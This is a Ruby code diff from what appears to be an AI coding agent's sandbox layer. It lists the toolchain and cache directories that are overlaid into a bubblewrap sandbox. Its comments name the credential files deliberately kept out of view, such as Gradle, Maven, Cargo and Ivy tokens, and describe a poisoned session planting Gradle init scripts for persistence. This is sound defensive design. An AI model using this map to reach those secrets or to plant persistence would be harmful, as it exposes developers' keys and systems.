|
|
41
|
-
# pikuri-code session would propagate to the user's other
|
|
42
|
-
# projects. The bubblewrap sandbox overlays each with a
|
|
43
|
-
# per-session ephemeral upper layer under
|
|
44
|
-
# +<workspace.internal_temp>/overlay-<slug>/+ — writes survive
|
|
45
|
-
# across bash calls within one session, then vanish at process
|
|
46
|
-
# exit. See {Pikuri::Code::Bash::Sandbox::Bubblewrap} for the
|
|
47
|
-
# wiring.
|
|
48
|
-
#
|
|
49
|
-
# The host-side workspace continues to include both lists in its
|
|
50
|
-
# +readable+ set, so the LLM can Read/Grep/Glob them via the file
|
|
51
|
-
# tools (which operate on the host filesystem, not the sandbox view).
|
|
12
|
+
# Every entry is mounted by {Pikuri::Code::Bash::Sandbox::Bubblewrap} as a
|
|
13
|
+
# read-write *ephemeral overlay* (read-only bind without overlayfs): the
|
|
14
|
+
# host's real dir is the read-through lower, a per-session upper absorbs
|
|
15
|
+
# writes and is discarded at exit. Overlaid rather than read-only because
|
|
16
|
+
# build tools assume their dirs are writable — a read-only +~/.rbenv+ breaks
|
|
17
|
+
# +gem install+ with +EROFS+, since the install target lives *inside* the
|
|
18
|
+
# version-manager dir with no separate cache to overlay. The workspace also
|
|
19
|
+
# lists these in +readable+ so the LLM can Read/Grep/Glob them via the file
|
|
20
|
+
# tools (which run on the host fs); writes through bash land in the overlay
|
|
21
|
+
# and are not visible to those tools — an accepted asymmetry.
|
|
52
22
|
#
|
|
53
23
|
# == Why subdirs, not whole toolchain dirs
|
|
54
24
|
#
|
|
55
|
-
#
|
|
56
|
-
#
|
|
57
|
-
#
|
|
58
|
-
#
|
|
59
|
-
#
|
|
25
|
+
# The dependency caches are listed as *content-only subdirs* that *exclude*
|
|
26
|
+
# the toolchain's credential / persistence files. The overlay is ephemeral,
|
|
27
|
+
# but the host's real file is the read-through lower — so a narrower mount
|
|
28
|
+
# keeps secrets out of the sandbox's *view* entirely rather than relying on
|
|
29
|
+
# "the write vanished". Exposed paths hold cache content; excluded paths
|
|
30
|
+
# hold secrets or build-config:
|
|
60
31
|
#
|
|
61
|
-
# * +~/.gradle/caches+ +
|
|
62
|
-
#
|
|
63
|
-
#
|
|
64
|
-
#
|
|
65
|
-
#
|
|
66
|
-
#
|
|
67
|
-
# +~/.gradle/daemon+ (logs that can leak +-P+ project
|
|
68
|
-
# properties passed on the command line).
|
|
32
|
+
# * +~/.gradle/caches+ + +wrapper/dists+ + +jdks+ — NOT
|
|
33
|
+
# +gradle.properties+ (signing keys / OSSRH / Develocity tokens), NOT
|
|
34
|
+
# +init.d+ (persistence: a future +./gradlew+ outside pikuri would
|
|
35
|
+
# execute init scripts a poisoned session planted here), NOT
|
|
36
|
+
# +enterprise+ (Develocity keys), NOT +daemon+ (logs leaking +-P+
|
|
37
|
+
# properties).
|
|
69
38
|
# * +~/.m2/repository+ — NOT +~/.m2/settings.xml+ (server creds).
|
|
70
|
-
# * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+
|
|
71
|
-
# (crates.io publish tokens).
|
|
39
|
+
# * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+ (publish tokens).
|
|
72
40
|
# * +~/.ivy2/cache+ — NOT +~/.ivy2/.credentials+ (resolver creds).
|
|
73
41
|
#
|
|
74
|
-
#
|
|
75
|
-
#
|
|
76
|
-
#
|
|
77
|
-
#
|
|
78
|
-
# outside the overlay list (+~/.gradle/daemon/+, native cache,
|
|
79
|
-
# configuration cache) start empty each bash call instead of
|
|
80
|
-
# persisting within a session. That's acceptable for daemon-style
|
|
81
|
-
# caches — the warm-cache value lives in +caches/+ and +wrapper/+,
|
|
82
|
-
# which the overlays cover.
|
|
42
|
+
# The version-manager roots (+~/.rbenv+, +~/.pyenv+, …) are listed *whole*
|
|
43
|
+
# because they carry no credential files and their install targets live
|
|
44
|
+
# directly under them. mise installs under +~/.local/share/mise/installs+
|
|
45
|
+
# (so overlaying +~/.local/share/mise+ covers it); system Ruby under +/usr+.
|
|
83
46
|
module ToolchainPaths
|
|
84
|
-
# @return [Array<String>] absolute paths,
|
|
85
|
-
#
|
|
86
|
-
#
|
|
87
|
-
#
|
|
88
|
-
# workspace.
|
|
47
|
+
# @return [Array<String>] absolute paths, stable order, presence-filtered
|
|
48
|
+
# to existing directories (no Rust installed ⇒ no phantom +~/.rustup+; a
|
|
49
|
+
# missing +~/.gradle/caches+ stays out). See the module header for the
|
|
50
|
+
# overlay treatment and the content-only-subdir rationale.
|
|
89
51
|
def self.readable
|
|
90
52
|
home = Dir.home
|
|
91
53
|
candidates = [
|
|
54
|
+
# System + per-user toolchains, listed whole (see module header).
|
|
92
55
|
'/usr',
|
|
93
56
|
'/opt',
|
|
94
57
|
File.join(home, '.local/share/mise'),
|
|
95
58
|
File.join(home, '.config/mise'),
|
|
96
59
|
File.join(home, '.asdf'),
|
|
97
60
|
File.join(home, '.rbenv'),
|
|
61
|
+
File.join(home, '.gem'),
|
|
98
62
|
File.join(home, '.pyenv'),
|
|
99
63
|
File.join(home, '.nvm'),
|
|
100
|
-
File.join(home, '.rustup')
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
end
|
|
104
|
-
|
|
105
|
-
# @return [Array<String>] absolute paths to per-user dependency
|
|
106
|
-
# caches the toolchain mutates. Presence-filtered, same
|
|
107
|
-
# discipline as {.readable}: a missing +~/.gradle/caches+
|
|
108
|
-
# stays out of the list, on the assumption the user doesn't
|
|
109
|
-
# use Gradle yet (and Gradle's eventual bootstrap inside the
|
|
110
|
-
# sandbox without a host lower would fail noisily, which is
|
|
111
|
-
# what we want — see the rationale in
|
|
112
|
-
# {Pikuri::Code::Bash::Sandbox::Bubblewrap}). See the module
|
|
113
|
-
# header for why each entry is a content-only subdir rather
|
|
114
|
-
# than the whole toolchain dir.
|
|
115
|
-
def self.ephemeral_overlay
|
|
116
|
-
home = Dir.home
|
|
117
|
-
candidates = [
|
|
64
|
+
File.join(home, '.rustup'),
|
|
65
|
+
# Content-only cache subdirs — credential / persistence files
|
|
66
|
+
# deliberately excluded (see module header).
|
|
118
67
|
File.join(home, '.cargo/registry'),
|
|
119
68
|
File.join(home, '.m2/repository'),
|
|
120
|
-
# Gradle: caches/ (jar + journal + transforms + build-cache),
|
|
121
|
-
# wrapper/dists/ (downloaded distributions), jdks/ (toolchain
|
|
122
|
-
# auto-installs). gradle.properties / init.d / enterprise /
|
|
123
|
-
# daemon are deliberately NOT exposed.
|
|
124
69
|
File.join(home, '.gradle/caches'),
|
|
125
70
|
File.join(home, '.gradle/wrapper/dists'),
|
|
126
71
|
File.join(home, '.gradle/jdks'),
|
|
127
|
-
# Ivy: cache only. ~/.ivy2/.credentials is deliberately NOT exposed.
|
|
128
72
|
File.join(home, '.ivy2/cache'),
|
|
129
73
|
File.join(home, 'go/pkg/mod'),
|
|
130
74
|
File.join(home, '.cache/pip'),
|